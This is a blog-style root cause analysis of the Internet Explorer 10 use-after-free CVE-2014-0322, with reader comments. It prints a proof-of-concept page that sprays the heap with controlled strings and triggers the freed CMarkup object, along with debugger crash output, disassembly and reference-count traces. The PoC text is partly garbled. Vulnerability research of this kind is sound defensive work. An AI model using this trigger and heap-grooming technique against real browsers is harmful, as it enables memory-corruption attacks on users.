CVE-2014-0322 0day root cause analysis

Yesterday, fireeye has posted a blog about a new 0day attack.
( This 0day is affected IE 10, and has been assigned as CVE-2014-0322, and it can be used to ATP attack.
We can find the sample here:

Now let’s analyze the root cause.

The poc code is just like the following:

<head id="headId">
<title>main page</title>
function dword2data(dword) {
    var d = Number(dword).toString(16);
    while (d.length < 8)
        d = '0' + d;
    return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));

var g_arr = [];
var arrLen = 0x250;

function fun()
    var a=0;
    // to alloc the memory

    var b = dword2data(0x41414141);
    while(b.length<0x360) b += dword2data(0x41414141);
    var d=b.substring(0,(0x340-2)/2);
    } catch(e){}
    //to reuse the freed memory
function puIHa3() {
    var a = document.getElementsByTagName("script");
    var b = a[0];
    b.onpropertychange = fun ;
    var c = document.createElement('SELECT');
    c = b.appendChild(c);//

when we open this page in the IE 10, it would crash. the crash info is like following:

0:019> g
Breakpoint 0 hit
eax=41414141 ebx=03c186a0 ecx=000000a8 edx=09b0c930 esi=09b0c930 edi=03be7810
eip=661470c2 esp=040bb2cc ebp=040bb338 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
661470c2 ff4010          inc     dword ptr [eax+10h]  ds:0023:41414151=????????
0:007> dd edx
09b0c930  41414141 41414141 41414141 41414141
09b0c940  41414141 41414141 41414141 41414141
09b0c950  41414141 41414141 41414141 41414141
09b0c960  41414141 41414141 41414141 41414141
09b0c970  41414141 41414141 41414141 41414141
09b0c980  41414141 41414141 41414141 41414141
09b0c990  41414141 41414141 41414141 41414141
09b0c9a0  41414141 41414141 41414142 c1414142
0:007> kv
ChildEBP RetAddr  Args to Child              
040bb2c8 66338d6a 03c18f94 040bb4a8 09b0c930 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16 (FPO: [0,0,0])
040bb338 6633949d 09b0c930 03be7810 03c186a0 MSHTML!CMarkup::NotifyElementEnterTree+0x277 (FPO: [Non-Fpo])
040bb37c 66339311 03c186a0 03be7810 03c18fac MSHTML!CMarkup::InsertSingleElement+0x169 (FPO: [Non-Fpo])
040bb45c 66338fbd 09b0c930 03be7810 040bb4a8 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d (FPO: [Non-Fpo])
040bb480 66338f7f 03be7810 040bb4a8 040bb4b4 MSHTML!CMarkup::InsertElementInternal+0x2e (FPO: [Non-Fpo])
040bb4c0 66339088 03be7810 040bb5a8 040bb5a8 MSHTML!CDoc::InsertElement+0x9c (FPO: [Non-Fpo])
040bb588 660f4b62 00000000 040bb5a8 002fab68 MSHTML!InsertDOMNodeHelper+0x454 (FPO: [Non-Fpo])
040bb5f4 660f4a6c 03be7810 00000000 00000000 MSHTML!CElement::InsertBeforeHelper+0x92 (FPO: [Non-Fpo])
040bb654 660f511c 00000000 00000003 02fe9190 MSHTML!CElement::InsertBeforeHelper+0xe5 (FPO: [Non-Fpo])
040bb674 660f54a7 03be7810 00000001 00000000 MSHTML!CElement::InsertBefore+0x36 (FPO: [Non-Fpo])
040bb700 660f53c0 02fe9190 040bb740 00000002 MSHTML!CElement::Var_appendChild+0xcb (FPO: [Non-Fpo])
040bb730 6be63c04 07fe48d0 02000002 03a1a090 MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55 (FPO: [Non-Fpo])
040bb798 6be403d2 07fe48d0 02000002 03a1a090 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185 (FPO: [Non-Fpo])
040bb924 6be3f6d5 040bb930 039dc0bc 039d61c0 jscript9!Js::InterpreterStackFrame::Process+0xaab (FPO: [Non-Fpo])
040bba3c 06660fe1 040bba50 040bbbd4 6be40d0c jscript9!Js::InterpreterStackFrame::InterpreterThunk+0x305 (FPO: [Non-Fpo])

The assemble code is just like following:

661470ac 8b427c          mov     eax,dword ptr [edx+7Ch] //the edx is freed then reused.
661470af 40              inc     eax
661470b0 0d00000080      or      eax,80000000h
661470b5 89427c          mov     dword ptr [edx+7Ch],eax
661470b8 8b82ac000000    mov     eax,dword ptr [edx+0ACh]
661470be 85c0            test    eax,eax
661470c0 7403            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19 (661470c5)
661470c2 ff4010          inc     dword ptr [eax+10h]  ds:0023:41414151=????????

From the upper information we can identify this one as use after free vulnerability.

And the reuse the Object is a title string object which with the size 0×340.

0:007> !heap -p -a edx
    address 09b0c930 found in
    _HEAP @ 220000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        09b0c918 006d 0000  [00]   09b0c930    00340 - (busy)
        76e6ddac ntdll!RtlAllocateHeap+0x00000274
        65f99ecc MSHTML!CAttrArray::Set+0x000003ab
        65f11f3d MSHTML!CAttrArray::Set+0x00000037
        66031ff5 MSHTML!CAttrArray::SetString+0x00000041
        6651f46b MSHTML!BASICPROPPARAMS::SetString+0x00000030
        66493aad MSHTML!BASICPROPPARAMS::SetStringProperty+0x0000048a
        66339a5d MSHTML!CBase::put_StringHelper+0x0000005e
        661dc63d MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_title+0x00000076

Now let us have a deep look where it free and why it free.
In the upper stack, we can find that after execute function “MSHTML!CMarkup::NotifyElementEnterTree”, it will be freed. And we also find the freed Object is this function’s param.
This is a CMarkup Object.

0:007> !heap -p -a poi(ebp+8)
    address 064e3e90 found in
    _HEAP @ 440000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        064e3e78 006d 0000  [00]   064e3e90    00340 - (busy)
        76e6ddac ntdll!RtlAllocateHeap+0x00000274
        6183fd3e MSHTML!CDoc::CreateMarkupFromInfo+0x0000017f
        61998028 MSHTML!CDoc::CreateMarkupWithElement+0x0000008a
        61aee15c MSHTML!CElement::GetDOMInsertPosition+0x000001c0
        61994b4e MSHTML!CElement::InsertBeforeHelper+0x0000007e
        61994a6c MSHTML!CElement::InsertBeforeHelper+0x000000e5
        6199511c MSHTML!CElement::InsertBefore+0x00000036
        619954a7 MSHTML!CElement::Var_appendChild+0x000000cb
        619953c0 MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x00000055

.text:6365FD23 loc_6365FD23:                           ; CODE XREF: CDoc::CreateMarkupFromInfo(CREATEMARKUPINFO const *,CMarkup * *)+2FA34j
.text:6365FD23                                         ; CDoc::CreateMarkupFromInfo(CREATEMARKUPINFO const *,CMarkup * *)+A8B9AEj
.text:6365FD23                 test    esi, esi
.text:6365FD25                 jz      loc_640EB827
.text:6365FD2B                 push    340h            ; dwBytes
.text:6365FD30                 push    8               ; dwFlags
.text:6365FD32                 push    _g_hProcessHeap ; hHeap
.text:6365FD38                 call    ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)
.text:6365FD3E                 test    eax, eax
.text:6365FD40                 jz      loc_640EB81C
.text:6365FD46                 push    dword ptr [ebx+1Ch]
.text:6365FD49                 push    esi
.text:6365FD4A                 mov     esi, eax
.text:6365FD4C                 call    ??0CMarkup@@QAE@PAVCSecurityContext@@H@Z ; CMarkup::CMarkup(CSecurityContext *,int)

So we make a breakpoint on this function, and get the addr of this Object.
then we make a breakpoint on RtlFreeHeap.

bu ntdll!RtlFreeHeap ".if (poi(esp+0xc) == object_addr){kv} .else{gc}"

After break, we see the stack:

0:007> g
ChildEBP RetAddr  Args to Child              
03aaa05c 76afc3c4 01610000 00000000 056b4600 ntdll!RtlFreeHeap (FPO: [Non-Fpo])
03aaa070 66014bb5 01610000 00000000 056b4600 kernel32!HeapFree+0x14 (FPO: [Non-Fpo])
03aaa088 65f035f7 00000001 65f0366d 03aaa310 MSHTML!CMarkup::`vector deleting destructor'+0x26 (FPO: [Non-Fpo])
03aaa090 65f0366d 03aaa310 056b4600 0170aa20 MSHTML!CBase::SubRelease+0x2e (FPO: [0,0,0])
03aaa0a4 65f8beae 056b4600 00000000 03aaa224 MSHTML!CBase::PrivateRelease+0x7f (FPO: [Non-Fpo])
03aaa0b4 6613191d 056b4600 00000044 046931c0 MSHTML!CMarkup::Release+0x2d (FPO: [Non-Fpo])
03aaa224 66132078 0170aa20 00000005 056b4600 MSHTML!InjectHtmlStream+0x6f9 (FPO: [Non-Fpo])
03aaa264 66132141 03aaa2c8 03aaa310 0170ff54 MSHTML!HandleHTMLInjection+0x82 (FPO: [Non-Fpo])
03aaa358 66124b4c 00000001 0170ff54 00000022 MSHTML!CElement::InjectInternal+0x521 (FPO: [Non-Fpo])
03aaa3cc 662ece26 016ea9a0 00000001 00000001 MSHTML!CElement::InjectTextOrHTML+0x1a4 (FPO: [Non-Fpo])
03aaa3e8 662ecde5 016ea9a0 0170ff54 02cece90 MSHTML!CElement::put_outerHTML+0x1d (FPO: [Non-Fpo])
03aaa410 6bed3c04 05d02360 02000002 0586a090 MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54 (FPO: [Non-Fpo])

It’s so clear that when execute the script statement “this.outHTML = this.outHTML”, it free the CMarkup Object.
The execution path is

And In the function InjectHtmlStream, it will call the CMarkup::Release to release this object.

.text:637F18AF                 mov     eax, [ebp+var_C]
.text:637F18B2                 test    eax, eax
.text:637F18B4                 jz      short loc_637F18CF
.text:637F18B6                 mov     ecx, [eax]
.text:637F18B8                 cmp     dword ptr [ecx+1D4h], offset ___vtguard
.text:637F18C2                 jnz     loc_63A4F3C1
.text:637F18C8                 push    eax
.text:637F18C9                 call    dword ptr [ecx+224h] ; here call CMarkup Release.

We know if we want to call the object’s method, we first need to call AddRef, after used, we call release.
if the ref counter of the object is 0, we would free this object.
So I track the AddRef and Release call in this function.

---[+] call function CMarkup::NotifyElementEnterTree(CElement *,CTreeNode *,CTreePos *,CTreePos *,long,long,ulong) at address 0x64d68af3 ret_addr 64d6949d (639f949d) 
--------markup_object_addr: 0x060a6d48
---[+] call function InjectHtmlStream(CMarkupPointer *,CMarkupPointer *,IStream *,ulong,CElement *,INJECTION_FLAGS,CElement *,ELEMENT_TAG,bool,uint,CPSRCE) at address 0x64b61282 ret_addr 64b62078 (637f2078) 
---[+] call function CMarkup::AddRef(void) at address 0x649bbeb8 ret_addr 64b612d2 (637f12d2) 
--------Param: 0x060a6d48
---[+] call function CMarkup::AddRef(void) at address 0x649bbeb8 ret_addr 64a48a69 (636d8a69) 
--------Param: 0x060a6d48
---[+] call function CMarkup::Release(void) at address 0x649bbe75 ret_addr 64b62788 (637f2788) 
--------Param: 0x060a6d48
---[+] call function CMarkup::Release(void) at address 0x649bbe75 ret_addr 64a4a263 (636da263) 
--------Param: 0x060a6d48
---[+] call function CMarkup::Release(void) at address 0x649bbe75 ret_addr 64b6191d (637f191d) 
--------Param: 0x060a6d48
[+] markup_object freed
[+] free(0x060a6d48)

From the upper informations, we can find the the CMarkup AddRef 2 times, Release 3 times.
So the CMarkup Object freed. :)


现有 13 条评论

  1. Saif 2014/05/08 am 6:54

    hello i have similar crashes and wanted to learn more about the crash analysis process so if you can please elaborate more about that part “Now let us have a deep look where it free and why it free.In the upper stack, we can find that after execute function MSHTML!CMarkup::NotifyElementEnterTree, it will be freed. And we also find the freed Object is this function’s param.”

    or point out some resources that might help me understand that part i would be really gratefull

  2. phreak 2014/04/09 pm 5:45

    I tested POC in IE 10 (version 10.0.14) in Window 7 SP 1
    but it not crashed.

    Please any help

    1. tyrande000 2015/01/15 pm 6:18

      make sure your version of mshtml.dll is less than 10.0.9200.16843

  3. marcelo 2014/03/05 am 8:57

    Could u tell us offset of return pointer?..plz?

  4. s 2014/02/24 am 12:02

    here’s a disassembly of the flash file (courtesy of d_olex) which is responsible for the other part of the exp.

    the object-type might be able to be determined by grabbing a look at the vtable of each Release call. i’m not familiar at all with IE, but i think the element’s name is going to be a virtual method which means that it will have to be executed in order to get the element back.

    is the element’s size really 0×360? with the type, you should be able to find the object’s constructor and use that to determine the object size…

    so since there’s 3 calls to Release and 2 to AddRef, is there 3 total elements? there’s only 2 that’re created in the code, so does the addition of the “select” element after the “script” element create an anonymous block, or is it because IE is automatically creating a default “option” element for the select?

    that way when it executes this.outerHTML=this.outerHTML, this default “option” element gets it’s reference duplicated via a copy by some virtual method from the “select” element’s vtable, and then IE frees the 3 references. When the .Release method is called for each of these references, are they all done by InjectStream or is one of them done by a “select” method?

  5. am 2014/02/21 am 6:27

    ps: care to explain how it bypasses aslr/dep in this case?

  6. an 2014/02/21 am 6:26

    how did you get the type of the free object? and where it’s allocated/freed?
    can you detail on that please?

  7. John Smith 2014/02/20 pm 4:52

    Hi, Great!!!!
    it was a very impressed by me!!!
    Thus, i have a some question.
    How can i get CMarkup::AddRef & CMarkup::Release Lists in Windbg???
    Is is a script???

    —[+] call function CMarkup::NotifyElementEnterTree(CElement *,CTreeNode *,CTreePos *,CTreePos *,long,long,ulong) at address 0x64d68af3 ret_addr 64d6949d (639f949d)
    ——–markup_object_addr: 0x060a6d48
    —[+] call function InjectHtmlStream(CMarkupPointer *,CMarkupPointer *,IStream *,ulong,CElement *,INJECTION_FLAGS,CElement *,ELEMENT_TAG,bool,uint,CPSRCE) at address 0x64b61282 ret_addr 64b62078 (637f2078)
    —[+] call function CMarkup::AddRef(void) at address 0x649bbeb8 ret_addr 64b612d2 (637f12d2)
    ——–Param: 0x060a6d48 ….

  8. binerdd 2014/02/18 am 8:43

    I am having trouble setting up the windbg to analyze the poc.

    If I attach IE and open the POC, there is no crash and nothing happens.

    Can you give me help?

    1. binerdd 2014/02/18 am 9:12

      Oh I got it working :)

  9. an 2014/02/16 am 3:00

    you say “From the upper information we can identify this one as use after free vulnerability.”

    how do you know from the info provided up to that point that it’s a UAF?

    1. wwwsecniu 2014/02/16 pm 2:20

      Because in the poc, we just alloc many title string object with the content “\x41\x41\x41\x41″, and in the crash point, we find that we use the wrong object(which we can control)’s property, so we can confirm :)



带 * 的是必填项目,电子邮件地址不会被公开。

Are you human? Click the Banana...